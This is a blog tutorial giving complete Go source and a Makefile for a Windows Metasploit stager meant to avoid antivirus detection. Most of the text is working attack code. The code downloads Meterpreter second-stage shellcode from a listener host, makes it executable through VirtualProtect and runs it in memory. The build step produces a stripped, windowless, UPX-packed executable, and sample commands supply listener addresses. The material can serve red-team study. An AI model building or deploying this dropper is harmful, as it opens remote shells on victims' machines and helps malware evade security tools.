Skip to main content

bartunek.me

Offensive Go - stager

In this article, I will show you basic stagers for Metasploit Framework written in Go. We will create Windows binary files that will use staging protocol to connect to the MSF listener. The idea behind creating our dropper is pretty simple - we want to avoid detection. Anti Virus software is instantly detecting and blocking default Metasploit stagers.

Why Go?

Go is a simple and efficient programming language. It has a rich standard library, can be easily cross-compiled for different operating systems and platforms. The main disadvantage is large binaries. We can limit the size of output files by stripping and packing, but executables are still bigger than similar files compiled in C/C++.

Running Meterpreter

To run the Http/Https Meterpreter session, we need to implement the following steps:

  • Connect to the listener via HTTP or HTTPS
  • Generate correct URI to receive data (shellcode)
  • Download Meterpreter 2nd stage
  • Execute downloaded shellcode in memory (without touching a disk)

First thing we will need is an ability to download HTTP/HTTPS Meterpreter second stage from listener URL:

if (protocol == "http" || protocol == "https") {
  url := protocol + "://" + lhost + ":" + lport + "/" + GenerateURIChecksum(244)

  if protocol == "https" {
    transport := &http.Transport{
      TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }
    client := &http.Client{Transport: transport}
    resp, err = client.Get(url)
  } else {
    resp, err = http.Get(url)
  }
  if err != nil {
    return
  }
  defer resp.Body.Close()
}

The above code first checks connection type - HTTP or HTTPS (Make will pass this parameter during a build). In the next step, code constructs URL with protocol, IP address, and port of the listening service. The last part of the URI is an output of GenerateURIChecksum function, used to generate the correct URI of the second stage. When URL is ready, we will connect to the listener via HTTPS or HTTP using the net/http client.

We must generate the correct URI checksum - when the checksum is not valid - we will get an HTTP 404 response. A reader can find the algorithm responsible for URI generation in the Ruby source code of Metasploit Framework, or we can use Go code from hershell. Here is a little bit modified version of Hershell source code:

func GenerateURIChecksum(length int) string {
  var charset string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"
  for {
    var checksum int = 0
    var uriString string

    uriString = GetRandomString(length, charset)
    for _, value := range uriString {
      checksum += int(value)
    }
    if (checksum % 0x100) == 92 {
      return uriString
    }
  }
}

Generating random string:


func GetRandomString(length int, charset string) string {
  var seed *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
  buf := make([]byte, length)
  for i := range buf {
    buf[i] = charset[seed.Intn(len(charset))]
  }
  return string(buf)
}

To run shellcode from memory, we can use go-shellcode project from Github. If you don’t want to pull additional dependency, you can define VirtualProtect function from kernel32.dll and execute shellcode as shown here. In the article, I will use the second method, the first definition of VirtualProtect:

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
  ret, _, _ := procVirtualProtect.Call(
    uintptr(lpAddress),
    uintptr(dwSize),
    uintptr(flNewProtect),
    uintptr(lpflOldProtect))
  return ret > 0
}

The RunShellcode function will use go unsafe package features to allow us operations on pointers bypassing Go lang type safety.

func RunShellcode(sc []byte) {
  f := func() {}

  var oldfperms uint32
  if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
    panic("Call to VirtualProtect failed!")
  }

  **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))

  var oldshellcodeperms uint32
  if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
  panic("Call to VirtualProtect failed!")
  }

  f()
}

As we have every step, lets put it together:

package main

import (
  "crypto/tls"
  "io/ioutil"
  "math/rand"
  "net/http"
  "time"
  "unsafe"
  "syscall"
)

var (
  lhost string
  lport string
  protocol string
)

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
  ret, _, _ := procVirtualProtect.Call(uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(lpflOldProtect))
  return ret > 0
}

func RunShellcode(sc []byte) {
  f := func() {}

  var oldfperms uint32
  if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
    panic("Call to VirtualProtect failed!")
  }

  **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))

  var oldshellcodeperms uint32
  if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
    panic("Call to VirtualProtect failed!")
  }

  f()
}

func GetRandomString(length int, charset string) string {
  var seed *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
  buf := make([]byte, length)
  for i := range buf {
    buf[i] = charset[seed.Intn(len(charset))]
  }
  return string(buf)
}

func GenerateURIChecksum(length int) string {
  var charset string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"
  for {
    var checksum int = 0
    var uriString string

    uriString = GetRandomString(length, charset)
    for _, value := range uriString {
      checksum += int(value)
    }
    if (checksum % 0x100) == 92 {
      return uriString
    }
  }
}

func main () {
  var (
    err error
    resp *http.Response
  )

  if (protocol == "http" || protocol == "https") {
    url := protocol + "://" + lhost + ":" + lport + "/" + GenerateURIChecksum(244)

    if protocol == "https" {
      transport := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
      }
      client := &http.Client{Transport: transport}
      resp, err = client.Get(url)
    } else {
      resp, err = http.Get(url)
    }
    if err != nil {
      return
    }
    defer resp.Body.Close()

    stage2buf, _ := ioutil.ReadAll(resp.Body)
    RunShellcode(stage2buf)
  }
}

The last step is a way to build the whole thing for different listeners. For that purpose, I will use a Makefile - make will take all required parameters such as target CPU architecture, IP address, port of the listener, and compile executable without debugging information to shrink a binary. After building an exe binary, make is calling UPX to pack it for an even smaller executable.

The final Makefile code has two build targets: win32 and win64. By default, it will use the host IP address as a listener, 1337 port, and HTTP protocol. This behavior can be modified by LHOST, LPORT and PROTO variables passed to make:

CC=go build
PACKER=upx
ODIR=dist
OS := $(shell uname)
ifeq ($(OS), Linux)
  LHOST=$$(hostname -I | cut -f1 -d' ')
else
  LHOST=$$(ifconfig | grep "inet " | grep -v 127.0.0.1 | cut -d" " -f2 | head -n1)
endif
LPORT=1337
PROTO=http
LDFLAGS_WIN="-s -w -X main.lhost=$(LHOST) -X main.lport=$(LPORT) -X main.protocol=$(PROTO) -H=windowsgui"

.SILENT: clean win32 win64 
.PHONY: clean

win32:
  echo "Building Windows i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
  GOOS=windows GOARCH=386 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh-met.bin go-rsh-met.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh-met.bin -o $(ODIR)/go-rsh-met.exe
  rm $(ODIR)/*.bin

win64:
  echo "Building Windows reverse shell - connect back to: $(LHOST):$(LPORT)"
  GOOS=windows GOARCH=amd64 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh-met64.bin go-rsh-met.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh-met64.bin -o $(ODIR)/go-rsh-met64.exe
  rm $(ODIR)/*.bin

clean:
  rm -rf $(ODIR)

Sample usage

build windows x86 binary:

make win32 LPORT=8080 LHOST=192.168.1.13 PROTO=http

build windows x64 binary:

make win64 LPORT=8443 LHOST=192.168.1.13 PROTO=https

Make will save binary to the dist directory.

References